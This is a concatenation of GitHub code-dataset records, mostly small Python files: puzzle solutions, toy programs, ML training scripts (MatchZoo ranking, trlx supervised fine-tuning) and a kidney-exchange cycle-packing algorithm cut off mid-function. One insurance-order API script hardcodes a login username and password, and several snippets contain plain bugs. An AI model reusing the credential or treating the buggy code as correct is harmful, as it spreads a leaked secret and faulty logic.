NeighborSolver\n\n\nclass NeighborOptimizedSolver(NeighborSolver):\n\n def __init__(self):\n super().__init__()\n self._WINDOW_WIDTH = 3\n\n def find_neighbors(self, center, y_channel):\n center = np.array(center, dtype=np.float32)\n return find_neighbors_optimized(y_channel, center, self._WINDOW_WIDTH)\n\n\n@numba.jit(nopython=True, cache=True, fastmath=True, nogil=True)\ndef find_neighbors_optimized(y_channel, center, window_width):\n neighbors = []\n image_rows = y_channel.shape[0]\n image_cols = y_channel.shape[1]\n window_r_min = max(0, center[0] - window_width)\n window_r_max = min(image_rows, center[0] + window_width + 1)\n window_c_min = max(0, center[1] - window_width)\n window_c_max = min(image_cols, center[1] + window_width + 1)\n for r in range(window_r_min, window_r_max):\n for c in range(window_c_min, window_c_max):\n if r == center[0] and c == center[1]:\n continue\n else:\n neighbors.append((r, c, y_channel[r, c]))\n return np.array(neighbors)\n","repo_name":"lwierzb1/mgr","sub_path":"py/colorization_program/src/colorization_algorithm/colorization_using_optimization/image/neighbor_optimized_solver.py","file_name":"neighbor_optimized_solver.py","file_ext":"py","file_size_in_byte":1346,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"44"} +{"seq_id":"39755279788","text":"l1=[]\r\nset1=set()\r\nfor i in str1:\r\n if i not in set1:\r\n set1.add(i)\r\n l1.append(i)\r\n\r\nstr2=\"\"\r\nfor i in range(len(l1)):\r\n str2=str2+l1[i]\r\nprint(str2)\r\n","repo_name":"adityas47/IP-LP3-SUBMISSION-PYTHON","sub_path":"IP_LP3_Python_Aditya_Sadashiv_2516/question-5.py","file_name":"question-5.py","file_ext":"py","file_size_in_byte":172,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"44"} +{"seq_id":"20377585029","text":"f = open('./2022/Day_06/input.txt', 'r')\nlines = [line.strip('\\n') for line in f]\nf.close()\n\nfor line in lines:\n window = 14\n for i in range(len(line)-window-1):\n if len(set(line[i:window+i])) == window:\n print(window+i)\n break\n ","repo_name":"mjordandotinfo/AdventOfCoding","sub_path":"2022/Day_06/day6_part2.py","file_name":"day6_part2.py","file_ext":"py","file_size_in_byte":267,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"44"} +{"seq_id":"14551437586","text":"import random\r\npi =[]\r\npy1 =[]\r\npy2 =[]\r\nfor x in range(1,10):\r\n pi.append(str(x)+\"♠\")\r\n pi.append(str(x)+\"♦\")\r\n pi.append(str(x)+\"♥\")\r\n pi.append(str(x)+\"♣\")\r\nclass Deck:\r\n def __init__(self,card_number):\r\n self.number = card_number\r\n def drew(self):\r\n x=pi[random.randrange(52)]\r\n print(str(self.number)+x)\r\n pi.remove(x)\r\nclass Player:\r\n def __init__(self,player_number):\r\n self.number = player_number\r\n def drew(self):\r\n x=pi[random.randrange(0,39)]\r\n print(str(self.number)+x)\r\n pi.remove(x)\r\nPlayer1 = Player(\"mew\")\r\nPlayer2 = Player(\"x\")\r\npy1.append(Player1.drew())\r\npy2.append(Player2.drew())\r\npy1.append(Player1.drew())\r\npy2.append(Player2.drew())\r\nprint(py1)\r\nprint(py2)\r\n\r\n\r\n ","repo_name":"mewpk/Python_Hamster-Hub","sub_path":"project1/p25.py","file_name":"p25.py","file_ext":"py","file_size_in_byte":778,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"44"} +{"seq_id":"38988282778","text":"import math\r\n\r\ndef quadratic_root(a,b,c):\r\n discriminant=b*b-(4*a*c)\r\n if discriminant<0:\r\n print(\"No root of this equation\")\r\n val=math.sqrt(discriminant)/(2*a)\r\n root1=-b/(2*a)+val\r\n root2=-b/(2*a)-val\r\n if root1==root2:\r\n print(f\"The root of this equation is : {int(root1)}\")\r\n else:\r\n print(f\"The roots of this equation are : {int(root1)} and {int(root2)}\")\r\n\r\nquadratic_root(1,-7,12)\r\n ","repo_name":"vraj151-coder/DSA-Python","sub_path":"numberTheory/extra_questions/quadratic_root.py","file_name":"quadratic_root.py","file_ext":"py","file_size_in_byte":436,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"44"} +{"seq_id":"31264348496","text":"from setuptools import setup, find_namespace_packages\n\nwith open('requirements/base.txt') as f:\n requirements = f.read().splitlines()\n\nwith open('README.md') as f:\n readme = f.read()\n\nwith open('VERSION') as f:\n version = f.read().strip()\n\nsetup(\n name='phq-kafka-python',\n version=version,\n description='Wrapper and utils around confluent-python-kafka',\n long_description=readme,\n long_description_content_type='text/markdown',\n author='PredictHq',\n author_email='developers@predicthq.com',\n url='https://github.com/predicthq/predicthq-kafka-python',\n install_requires=requirements,\n packages=find_namespace_packages(include=['phq.*']),\n classifiers=[\n \"Programming Language :: Python :: 3.5\",\n \"Programming Language :: Python :: 3.6\",\n ]\n)\n","repo_name":"predicthq/phq-kafka-python","sub_path":"setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":801,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"44"} +{"seq_id":"70265137732","text":"#-*-coding:utf-8-*- \nfrom selenium import webdriver\nimport requests\nimport time,datetime\nimport base64\nfrom page_obj.host_api import *\nclass Order():\n def __init__(self,s):\n self.session = s\n # 填写表单内容\n def order_post(self,project_name,project_location,month,productId=1,orderId=\"\"):\n time_start = time.time()+86400 # 获取时间戳\n # 获取month个月后的时间\n unix = datetime.datetime.now().replace(month=int(datetime.datetime.now().strftime('%m')) + month)\n time_end = int(time.mktime(unix.timetuple())) # 转化为时间戳\n url=host+\"/jgx/client/order/begin\"\n h = {\n \"User-Agent\": \"Mozilla/5.0 (iPhone; CPU iPhone OS 10_3 like Mac OS X) AppleWebKit/602.1.50 (KHTML, like Gecko) CriOS/56.0.2924.75 Mobile/14E5239e Safari/602.1\",\n \"Content-Type\": \"application/json\",\n \"Connection\": \"keep-alive\",\n \"Accept-Encoding\": \"gzip, deflate, br\"\n # \"Cookie\":\"sid=442gtsadk9smvaq3xwwdvtguh84dmtm3\"\n }\n body={\n \"data\":{\n \"name\": \"黄军平\",\n \"coi\": \"44522419920316155X\",\n \"origin_insured\": time_start,\n \"cycle_insured\": 3,\n \"deadline_insured\":time_end,\n \"construction_name\": project_name,\n \"construction_local\": project_location,\n \"billing_way\": 1,\n \"billing_base\": 200000,\n \"billing_percent\": 2000000,\n \"billing_price\": 30000000,\n \"dead_cost\": \"2000\",\n \"hury_cost\": \"3000\",\n \"hostipal_cost\": \"4000\",\n \"phone\": \"\",\n \"agreement\": 1,\n \"productId\": productId,\n \"orderId\":orderId\n }\n }\n r=self.session.post(url,json=body,headers=h)\n data = r.json()\n # 获取订单编号\n order_id = str(data[\"data\"][\"orderId\"])\n return order_id\n # 获取七牛key和token\n def order_key_token(self,order_id):\n url = host+\"/jgx/client/order/examine/\"+order_id\n h = {\n \"User-Agent\": \"Mozilla/5.0 (iPhone; CPU iPhone OS 10_3 like Mac OS X) AppleWebKit/602.1.50 (KHTML, like Gecko) CriOS/56.0.2924.75 Mobile/14E5239e Safari/602.1\",\n \"Content-Type\": \"application/json\",\n \"Connection\": \"keep-alive\",\n \"Accept-Encoding\": \"gzip, deflate, br\"\n # \"Cookie\":\"sid=442gtsadk9smvaq3xwwdvtguh84dmtm3\"\n }\n r = self.session.post(url,headers=h)\n data = r.json()\n key = data[\"data\"][\"key\"]\n token = data[\"data\"][\"token\"]\n # key转base64\n base_key = base64.b64encode(key.encode('iso-8859-15'))\n # base64转utf-8\n str_key = base_key.decode('utf-8')\n return (str_key,token)\n # 上传图片\n def order_img(self, key, token, img_base64,img_url):\n # 上传图片地址\n url =\"http://upload-z2.qiniup.com/putb64/-1/key/\"+key\n h = {\n # \"User-Agent\": \"Mozilla/5.0 (iPhone; CPU iPhone OS 10_3 like Mac OS X) AppleWebKit/602.1.50 (KHTML, like Gecko) CriOS/56.0.2924.75 Mobile/14E5239e Safari/602.1\",\n # \"Cookie\":\"sid=442gtsadk9smvaq3xwwdvtguh84dmtm3\"\n 'Content-Type': \"application/x-www-form-urlencoded\",\n \"Authorization\": \"UpToken \" + token,\n \"Host\": 'up-z2.qiniu.com',\n }\n body = img_base64\n r = self.session.post(url, data=body, headers=h)\n img_data = r.json()\n img_url.append(img_data[\"data\"][\"url\"])\n return img_url\n # 提交订单\n def order_end(self,orderId,examine_pics):\n url = host+\"/jgx/client/order/verify\"\n h = {\n \"User-Agent\": \"Mozilla/5.0 (iPhone; CPU iPhone OS 10_3 like Mac OS X) AppleWebKit/602.1.50 (KHTML, like Gecko) CriOS/56.0.2924.75 Mobile/14E5239e Safari/602.1\",\n \"Content-Type\": \"application/json\",\n \"Connection\": \"keep-alive\",\n \"Accept-Encoding\": \"gzip, deflate, br\"\n }\n body = {\n \"data\": {\n \"orderId\": orderId,\n \"examine_pics\":examine_pics\n }\n }\n r = self.session.post(url, json=body, headers=h)\n return r.json()\nif __name__ == \"__main__\":\n from page_obj.login_api import *\n s=requests.session()\n login = Login(s)\n login.login_post('god', 'bhs@mangohm') # 登录\n order=Order(s) # 下单\n order_id=order.order_post(\"爱情公寓5\",\"有米大楼44\",5,3) # 保单填写 并获取订单id\n with open(\"../test_data/order_img/123.png\", \"rb\") as f: # 图片转base64\n img_base64 = base64.b64encode(f.read())\n with open(\"../test_data/order_img/1234.png\", \"rb\") as f: # 图片转base64\n img_base64_2 = base64.b64encode(f.read())\n token_key=order.order_key_token(order_id) # 获取七牛的token和key\n key1=token_key[0]\n token1=token_key[1]\n token_key = order.order_key_token(order_id) # 获取七牛的token和key\n key2=token_key[0]\n token2=token_key[1]\n img_url = [] # 存图片url\n order.order_img(key1, token1, img_base64,img_url) # 上传图片\n order.order_img(key2, token2, img_base64_2,img_url) # 上传图片\n print(img_url)\n res=order.order_end(order_id, img_url) # 保单完成\n print(res[\"data\"][\"orderId\"]) #获取订单号\n\n\n\n\n\n # 时间戳转为时间\n # print(datetime.datetime.fromtimestamp(t2))\n\n","repo_name":"chaofandashi/jiangongxian","sub_path":"page_obj/order_api.py","file_name":"order_api.py","file_ext":"py","file_size_in_byte":5785,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"44"} +{"seq_id":"25768568125","text":"import pandas as pd\nimport numpy as np\n\nimport matplotlib.pyplot as plt\n\nimport statistics as st\nimport itertools as it\n\n\"\"\"Plot ROC by differents Kernels\"\"\"\n\nroot = {\n \"root\": \"/home/barbara/Documents/DIFACQUIM/PPI_classifier/phase-1/Databases/morgan2/\"\n}\n\n\nclass PlotSimilarity:\n def __init__(self, files):\n self.files = files\n print(self.files)\n\n def data(self):\n libraries = list()\n plot_data = dict()\n for i in files:\n db = pd.read_csv(i, index_col=\"Unnamed: 0\")\n # print(db.head())\n # print(db.columns)\n sim = np.array(db.sim)\n y = np.array(db.y)\n _ = db.library.loc[0]\n print(db.library.loc[0])\n libraries.append(_)\n print(libraries)\n plot_data[_] = {\"sim\": sim, \"y\": y}\n self.libraries = libraries\n print(plot_data)\n return plot_data\n\n def plot_sim(self, colors):\n plot_data = self.data()\n fig = plt.figure()\n lw = 2\n libraries = self.libraries\n for i in range(len(libraries)):\n print(libraries[i])\n plt.plot(\n plot_data[libraries[i]][\"sim\"],\n plot_data[libraries[i]][\"y\"],\n color=colors[i],\n lw=lw,\n linestyle=\"-\",\n label=libraries[i],\n )\n plt.xlim([0.0, 1.01])\n plt.ylim([0.0, 1.01])\n plt.xlabel(\"Similarity\")\n plt.ylabel(\"CDF\")\n plt.title(\"Diversity Analysis\")\n plt.legend(loc=\"lower right\", ncol=1, shadow=False, fancybox=False)\n plt.show()\n # plt.savefig(\"div_analysis.png\")\n fig.savefig(\"plot.png\")\n\n\n###Define variables ###\n# files is a list list with individual database files\n# colors is a list with the nessesary number of colors for each database\nfiles = [\"MACCS_Tanimoto_BIOFACQUIM2V_.csv\", \"MACCS_Tanimoto_NUBBE2V_.csv\"]\ncolors = [\"mediumvioletred\", \"forestgreen\"]\n\n# Execute plot\na = PlotSimilarity(files)\na.plot_sim(colors)\n\n","repo_name":"BarbaraDiazE/DataScienceForChemist","sub_path":"Python_for_Data_Visualization_Matplotlib/plot_div_analysis_MATPLOTLIB/plot_sim_MATPLOLIB.py","file_name":"plot_sim_MATPLOLIB.py","file_ext":"py","file_size_in_byte":2047,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"44"} +{"seq_id":"17962384487","text":"# -*- coding: utf-8 -*-\n\"\"\"\n给定一个包含 n 个整数的数组 nums，判断 nums 中是否存在三个元素 a，b，c ，使得 a + b + c = 0 ？找出所有满足条件且不重复的三元组。\n\n注意：答案中不可以包含重复的三元组。\n\n例如, 给定数组 nums = [-1, 0, 1, 2, -1, -4]，\n\n满足要求的三元组集合为：\n[\n [-1, 0, 1],\n [-1, -1, 2]\n]\n\n思路： 双指针\n@author: xiaozuo\n\"\"\"\n\n\nclass Solution(object):\n def threeSum(self, nums):\n \"\"\"\n :type nums: List[int]\n :rtype: List[List[int]]\n \"\"\"\n\n nums.sort() # 排序\n res = []\n for i in range(len(nums)):\n if i > 0 and nums[i] == nums[i - 1]: # 去重\n continue\n # 双指针\n l = i + 1\n r = len(nums) - 1\n while l < r:\n s = nums[i] + nums[l] + nums[r]\n if s == 0:\n res.append([nums[i], nums[l], nums[r]])\n l += 1\n r -= 1\n while l < r and nums[l] == nums[l - 1]: # 避免相同值\n l += 1\n while r > l and nums[r] == nums[r + 1]:\n r -= 1\n elif s > 0:\n r -= 1\n else:\n l += 1\n return res\n\nif __name__ == '__main__':\n sol = Solution()\n nums = [-2, 0, 1, 1, 2]\n print(sol.threeSum(nums=nums))","repo_name":"xiaozuo7/algorithm_python","sub_path":"leetcode_三数之和.py","file_name":"leetcode_三数之和.py","file_ext":"py","file_size_in_byte":1463,"program_lang":"python","lang":"zh","doc_type":"code","stars":0,"dataset":"github-code","pt":"44"} +{"seq_id":"19937129713","text":"import os\nimport numpy as np\nimport pandas as pd\nimport matchzoo as mz\nfrom bs4 import BeautifulSoup as bs\nfrom core.util import text, query_dict\nfrom config.config import MODEL_DUMP, MODEL_TYPE, TOPIC, FULLTEXT_PMC, PUBMED_FETCH, PUBMED_DUMP_DATE\n\n\ndef dense_preprocess(train_raw, task):\n preprocessor = mz.preprocessors.BasicPreprocessor()\n preprocessor.fit(train_raw)\n train_processed = preprocessor.transform(train_raw)\n model = mz.models.DenseBaseline()\n model.params['task'] = task\n model.params.update(preprocessor.context)\n model.guess_and_fill_missing_params(verbose=0)\n model.params['mlp_num_fan_out'] = 30\n return train_processed, model\n\n\ndef drmm_preprocess(train_raw, task, embed_out_dim):\n preprocessor = mz.preprocessors.BasicPreprocessor(fixed_length_left=10,\n fixed_length_right=100,\n remove_stop_words=False)\n preprocessor.fit(train_raw)\n train_processed = preprocessor.transform(train_raw)\n bin_size = 30\n model = mz.models.DRMM()\n model.params.update(preprocessor.context)\n model.params['input_shapes'] = [[10, ], [10, bin_size, ]]\n model.params['task'] = task\n model.params['mask_value'] = 0\n model.params['embedding_output_dim'] = embed_out_dim\n model.params['mlp_num_layers'] = 1\n model.params['mlp_num_units'] = 10\n model.params['mlp_num_fan_out'] = 1\n model.params['mlp_activation_func'] = 'tanh'\n model.params['optimizer'] = 'adadelta'\n\n return train_processed, preprocessor, model\n\n\ndef train(topic_number, embedding, model_type='drmm'):\n\n task = mz.tasks.Ranking()\n train_raw = train_data(topic_number)\n\n if model_type == 'dense':\n train_processed, model = dense_preprocess(train_raw, task)\n if model.params.completed():\n model.build()\n model.compile()\n x, y = train_processed.unpack()\n model.fit(x, y, batch_size=32, epochs=5)\n if not os.path.exists(os.path.join(MODEL_DUMP, MODEL_TYPE)):\n os.makedirs(os.path.join(MODEL_DUMP, MODEL_TYPE))\n model.save(os.path.join(MODEL_DUMP, MODEL_TYPE, str(topic_number)))\n\n if model_type == 'drmm':\n # glove_embedding = mz.datasets.embeddings.load_glove_embedding(dimension=300)\n train_processed, preprocessor, model = drmm_preprocess(train_raw, task, embed_out_dim=embedding.output_dim)\n\n if model.params.completed():\n model.build()\n model.compile()\n embedding_matrix = embedding.build_matrix(preprocessor.context['vocab_unit'].state['term_index'])\n # normalize the word embedding for fast histogram generating.\n l2_norm = np.sqrt((embedding_matrix * embedding_matrix).sum(axis=1))\n embedding_matrix = embedding_matrix / l2_norm[:, np.newaxis]\n model.load_embedding_matrix(embedding_matrix)\n hist_callback = mz.data_generator.callbacks.Histogram(embedding_matrix,\n bin_size=30,\n hist_mode='LCH')\n train_generator = mz.DataGenerator(train_processed,\n mode='point',\n num_dup=5,\n num_neg=10,\n batch_size=20,\n callbacks=[hist_callback])\n history = model.fit_generator(train_generator,\n epochs=30,\n workers=30,\n use_multiprocessing=True)\n\n if not os.path.exists(os.path.join(MODEL_DUMP, MODEL_TYPE)):\n os.makedirs(os.path.join(MODEL_DUMP, MODEL_TYPE))\n model.save(os.path.join(MODEL_DUMP, MODEL_TYPE, str(topic_number)))\n\n\ndef get_model_and_data(topic_number, d_pack_test, model_type, embedding):\n\n if model_type == 'dense':\n # load model\n model = mz.load_model(os.path.join(MODEL_DUMP, MODEL_TYPE, str(topic_number)))\n\n # prepare preprocessor\n train_raw = train_data(topic_number)\n preprocessor = mz.preprocessors.BasicPreprocessor()\n preprocessor.fit(train_raw)\n\n # transform document data\n test_processed = preprocessor.transform(d_pack_test)\n test_x, test_y = test_processed.unpack()\n\n if model_type == 'drmm':\n # load model\n model = mz.load_model(os.path.join(MODEL_DUMP, MODEL_TYPE, str(topic_number)))\n task = mz.tasks.Ranking()\n train_raw = train_data(topic_number)\n preprocessor = mz.preprocessors.BasicPreprocessor(fixed_length_left=10,\n fixed_length_right=100,\n remove_stop_words=False)\n preprocessor.fit(train_raw)\n\n test_processed = preprocessor.transform(d_pack_test)\n embedding_matrix = embedding.build_matrix(preprocessor.context['vocab_unit'].state['term_index'])\n # normalize the word embedding for fast histogram generating.\n l2_norm = np.sqrt((embedding_matrix * embedding_matrix).sum(axis=1))\n embedding_matrix = embedding_matrix / l2_norm[:, np.newaxis]\n model.load_embedding_matrix(embedding_matrix)\n hist_callback = mz.data_generator.callbacks.Histogram(embedding_matrix,\n bin_size=30,\n hist_mode='LCH')\n test_generator = mz.DataGenerator(data_pack=test_processed, mode='point',\n callbacks=[hist_callback])\n test_x, test_y = test_generator[:]\n\n return model, test_x\n\n\ndef test_data(topic_number, cord_uids, query, meta, msp):\n text_left = []\n id_left = []\n text_right = []\n id_right = []\n label = []\n for cord_uid in cord_uids:\n sha = meta[meta['cord_uid'] == cord_uid]['sha'].values[0]\n path = msp[sha]\n with open(path, 'r') as open_file:\n txt = text(open_file.read())\n id_left.append(str(topic_number))\n text_left.append(query)\n id_right.append(cord_uid)\n text_right.append(txt)\n label.append(0)\n\n df = pd.DataFrame(data={'text_left': text_left,\n 'id_left': id_left,\n 'text_right': text_right,\n 'id_right': id_right,\n 'label': label})\n\n return mz.pack(df)\n\n\ndef train_data(topic_train):\n queries = query_dict(TOPIC)\n\n text_left = []\n id_left = []\n text_right = []\n id_right = []\n label = []\n\n for k, v in queries.items():\n file_path = os.path.join(PUBMED_FETCH, PUBMED_DUMP_DATE, str(k)+'.xml')\n with open(file_path, 'r') as input:\n soup = bs(input.read(), 'lxml')\n\n if FULLTEXT_PMC:\n articles = soup.find('pmc-articleset').find_all('article')\n for article in articles:\n pbmid_str = article.find(\"article-id\", {\"pub-id-type\": \"pmc\"}).text.replace('\\n', ' ').strip()\n txt = ''\n abstract = article.abstract\n if abstract:\n txt = abstract.text.replace('\\n', ' ').strip(' ')\n sections = article.find_all('sec')\n titles = article.find_all('article-title')\n\n for title in titles:\n title_text = title.text.replace('\\n', ' ').strip(' ')\n ''.join([txt, ' ', title_text])\n for section in sections:\n section_text = section.text.replace('\\n', '').strip(' ')\n ''.join([txt, ' ', section_text])\n\n rel = (1 if k == str(topic_train) else 0)\n id_left.append(str(k))\n text_left.append(v)\n id_right.append(pbmid_str)\n text_right.append(txt)\n label.append(rel)\n\n else:\n articles = soup.find_all('pubmedarticle')\n for article in articles:\n pbmid = article.find('articleid', {\"idtype\": \"pubmed\"})\n pbmid_str = pbmid.text.replace('\\n', '').strip()\n abstract = article.find('abstract')\n if abstract is None:\n continue\n else:\n abstract_text = abstract.text.replace('\\n', '')\n\n title = article.articletitle.text.replace('\\n', '').strip()\n txt = title + abstract_text\n\n rel = (1 if k == str(topic_train) else 0)\n id_left.append(str(k))\n text_left.append(v)\n id_right.append(pbmid_str)\n text_right.append(txt)\n label.append(rel)\n\n df = pd.DataFrame(data={'text_left': text_left,\n 'id_left': id_left,\n 'text_right': text_right,\n 'id_right': id_right,\n 'label': label})\n\n return mz.pack(df)","repo_name":"irgroup/trec-covid","sub_path":"scripts/core/clf_mz.py","file_name":"clf_mz.py","file_ext":"py","file_size_in_byte":9515,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"44"} +{"seq_id":"3309742156","text":"from main_model import main_model\nimport argparse\n\nPose_protoFile = \"./model/coco/pose_deploy_linevec.prototxt\"\nPose_weightsFile = \"./model/coco/pose_iter_440000.caffemodel\"\nFer_model_path = \"model/Expression/FER_model.h5\"\nActorPath = \".\\photo\"\nVedioPath = \"./videos/3.mp4\"\nparser = argparse.ArgumentParser(description='Run keypoint detection')\nparser.add_argument(\"--device\", default=\"gpu\", help=\"Device to inference on\")\nargs = parser.parse_args()\n\nif __name__ == '__main__':\n name = [\"\"]\n main_model = main_model(name, Pose_protoFile, Pose_weightsFile, args, ActorPath)\n main_model.predict(VedioPath)\n","repo_name":"YottabyteM/Movie-Character-Recognition","sub_path":"project/Final_Movie_Edition/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":613,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"44"} +{"seq_id":"20961788464","text":"import torch\n#torch.set_default_dtype(torch.float16)\n\n#import evaluate\nfrom sft.summarize_dataset import create_summarization_dataset, TLDRDataset\nfrom transformers import (\n #AutoTokenizer,\n Trainer,\n TrainingArguments,\n #default_data_collator,\n DataCollatorForLanguageModeling\n)\n\nimport config as cfg\nfrom util.model_utils import get_tokenizer\nfrom util.model_utils import load_pretrained_model, load_pretrained_model_in_8bit, prepare_peft_model_for_training\n\nif __name__ == \"__main__\":\n \"\"\"\n # Set up the metric\n rouge = evaluate.load(\"rouge\")\n\n def compute_metrics(eval_preds):\n labels_ids = eval_preds.label_ids\n pred_ids = eval_preds.predictions\n pred_str = tokenizer.batch_decode(pred_ids, skip_special_tokens=True)\n label_str = tokenizer.batch_decode(labels_ids, skip_special_tokens=True)\n result = rouge.compute(predictions=pred_str, references=label_str)\n return result\n\n # Create a preprocessing function to extract out the proper logits from the model output\n def preprocess_logits_for_metrics(logits, labels):\n if isinstance(logits, tuple):\n logits = logits[0]\n return logits.argmax(dim=-1)\n \"\"\"\n\n print(\"Load dataset and tokenize...\")\n\n \"\"\"\n tokenizer = AutoTokenizer.from_pretrained(cfg.PT_MODEL)\n tokenizer.pad_token = tokenizer.eos_token\n model.resize_token_embeddings(len(tokenizer))\n tokenizer.pad_token_id = tokenizer.eos_token_id\n model.config.end_token_id = tokenizer.eos_token_id\n model.config.pad_token_id = model.config.eos_token_id\n \"\"\"\n tokenizer = get_tokenizer(cfg.PT_MODEL)\n\n # TODO: can we access summarization data in batch???\n # Set up the datasets\n train_posts = create_summarization_dataset(cfg.SUMMARIZATION_DATASET, 10000, \"train\")\n train_dataset = TLDRDataset(\n train_posts,\n tokenizer,\n max_length=cfg.MAX_SUM_LEN,\n )\n \"\"\"\n valid_posts = create_summarization_dataset(cfg.SUMMARIZATION_DATASET, 1000, \"valid\")\n valid_dataset = TLDRDataset(\n valid_posts,\n tokenizer,\n max_length=cfg.MAX_SUM_LEN,\n )\n \"\"\"\n\n print(\"Prepare PEFT model...\")\n\n # load pretrained model in int8 precision and fine tune using low rank adaption\n #model = AutoModelForCausalLM.from_pretrained(cfg.PT_MODEL, use_cache=False)\n #pretrained_model = load_pretrained_model_in_8bit(cfg.PT_MODEL)\n pretrained_model = load_pretrained_model(cfg.PT_MODEL)\n peft_model = prepare_peft_model_for_training(pretrained_model)\n\n print(\"Fine tuning...\")\n\n output_dir = cfg.SFT_CKPT_DIR\n\n # Prepare the trainer and start training\n training_args = TrainingArguments(\n output_dir=output_dir,\n #fp16=True,\n bf16=True,\n half_precision_backend=\"cuda_amp\",#\"apex\",\n ### train\n num_train_epochs=1,# 3,\n warmup_steps=100,# lr scheduler\n gradient_accumulation_steps=cfg.SFT_GRAD_ACCU,\n # If True, use gradient checkpointing to save memory at the expense of slower backward pass.\n # gradient_checkpointing=True,\n ### evaluation\n # evaluation_strategy=\"steps\",\n # eval_steps=500,\n # eval_accumulation_steps=1,\n #load_best_model_at_end=True,\n ### logging\n #logging_dir=\"./logs\",# output_dir/runs/..., by default\n logging_steps=50,\n report_to=None# \"none\",\n # deepspeed=cfg.SFT_DS_CFG\n )\n training_args.set_dataloader(\n train_batch_size=cfg.SFT_TRAIN_MINI_BATCH_SIZE,#=per_device_train_batch_size\n #eval_batch_size=1,#=per_device_eval_batch_size\n num_workers=4,\n pin_memory=True,\n )\n training_args.set_optimizer(\n name=\"adamw_hf\",#\"adamw_apex_fused\",\n learning_rate=2e-5,# initial learning rate, learning rate changes according to lr scheduler during train\n # beta1=0.9,\n # beta2=0.95,\n )\n training_args.set_save(\n strategy=\"steps\",\n steps=50, # 1000,\n total_limit=1,\n )\n\n trainer = Trainer(\n model=peft_model,\n args=training_args,\n train_dataset=train_dataset,\n #eval_dataset=valid_dataset,\n #compute_metrics=compute_metrics,\n #data_collator=default_data_collator,\n #preprocess_logits_for_metrics=preprocess_logits_for_metrics,\n data_collator=DataCollatorForLanguageModeling(tokenizer, mlm=False)\n )\n peft_model.config.use_cache = False\n trainer.train()\n \"\"\"\n with torch.autocast(\"cuda\"):\n trainer.train()\n \"\"\"\n model_dir = cfg.SFT_MODEL_DIR\n print(\"Save sft model's adapter layers to directory %s\" % model_dir)\n peft_model.save_pretrained(model_dir)\n","repo_name":"knowledgehacker/trlx-examples","sub_path":"train_sft.py","file_name":"train_sft.py","file_ext":"py","file_size_in_byte":4696,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"44"} +{"seq_id":"34663774126","text":"import doctest\n\nimport numpy as np\n\nimport networkx as nx\nfrom networkx.algorithms import cycles\n\n\"\"\"REUT HADAD & TAL SOMECH\"\"\"\n\n\"\"\"\nThis is an implementation for two different algorithms described on \"MAXIMUM WEIGHT CYCLE PACKING IN DIRECTED GRAPHS,\nWITH APPLICATION TO KIDNEY EXCHANGE PROGRAMS\" article.\nThe article points on two algorithms that solves kidney exchange problems, which can be modelled as cycle packing\nproblems in a directed graph, involving cycles of length 2, 3, or even longer.\nIn the article we focus on the maximal exchange of circles of size 2 and 3 vertices, we demonstrate an approximation\nalgorithm and an exact algorithm for this problem.\n\"\"\"\n\"\"\"article title: MAXIMUM WEIGHT CYCLE PACKING IN DIRECTED GRAPHS,WITH APPLICATION TO KIDNEY EXCHANGE PROGRAMS\nauthors:Biro, P. and Manlove, D.F. and Rizzi, R.\nyear:(2009)\nlink:http://eprints.gla.ac.uk/25732/\n\"\"\"\n\n\ndef maximum_weight_cycle_packing(graph: nx.DiGraph, k: int) -> list:\n \"\"\"\n Algorithm - the algorithm finds the exact maximum weight k-way exchanges using reduction from directed graph to non directed\n graph\n \"Algorithm 2 - Exact algorithm for kidney exchange programs\" by Biro, P. and Manlove, D.F. and Rizzi, R.\n Returns the list of max weighted exchanges of directed weighted graph 'G'\n A directed weighted graph is a graph in which every edge is one sided and weighted\n for example an edge from node 1->2 with a weight of 5,an k-way exchange\n is a circle within a graph containing at most k nodes.\n max weighted exchange is a circle with the most weighted edges from every node in the circle\n Parameters\n -----------\n G : NetworkX DiGraph\n Directed graph with weights\n Returns\n -----------\n Lst: list of lists\n Each list in lst contaning the nodes which make up the circle with the highest weights sum\n Examples\n -----------\n >>> Digraph=nx.DiGraph()\n >>> Digraph.add_nodes_from([1,2,3,5,6,7,8])\n >>> Digraph.add_weighted_edges_from([(1,8,2),(8,1,4),(2,1,5),(1,3,4),(3,8,2),(8,2,3),(8,5,4),(5,7,3),(7,6,2),(6,5,4)])\n >>> print(len(maximum_weight_cycle_packing(Digraph,3))) #[1,8,2] [6,5,7] [1,3,8] , can be only 2 but in any order\n 2\n >>> Digraph =nx.DiGraph()\n >>> Digraph.add_nodes_from([1,2,3,4])\n >>> Digraph.add_weighted_edges_from([(2,1,3),(1,3,1),(3,2,2),(3,4,5),(4,3,9)])\n >>> print(len(maximum_weight_cycle_packing(Digraph,2)))#[3,4] or [4,3]\n 1\n >>> graphEX3 = nx.DiGraph()\n >>> graphEX3.add_nodes_from([10,11,12,13,14,15,16])\n >>> Digraph.add_weighted_edges_from([(10,11,10),(11,12,5),(12,13,6),(13,10,4),(11,14,2),(14,16,3),(16,15,8),(15,14,6)])\n >>> print(maximum_weight_cycle_packing(graphEX3, 3))\n []\n\n Notes\n -----------\n Algorithm - the algorithm finds maximum weight k-way exchanges using reduction from directed graph to not directed graph by\n the algorithm in the published article Exact-complete algorithm for kidney exchange programs\"\n Refrences\n ----------\n Algorithm 1 - 'MAXIMUM WEIGHT CYCLE PACKING IN DIRECTED GRAPHS, WITH APPLICATION TO KIDNEY EXCHANGE PROGRAMS' by Biro, P. and Manlove, D.F. and Rizzi, R. http://eprints.gla.ac.uk/25732/\n \"\"\"\n\n Ys, cycles = create_Ys(graph, k)\n\n X = [] # dict()\n max_cycles = []\n max_weight = 0\n seen_Y = set()\n max_graph = nx.Graph()\n for Y in Ys:\n ans_graph = nx.Graph()\n # 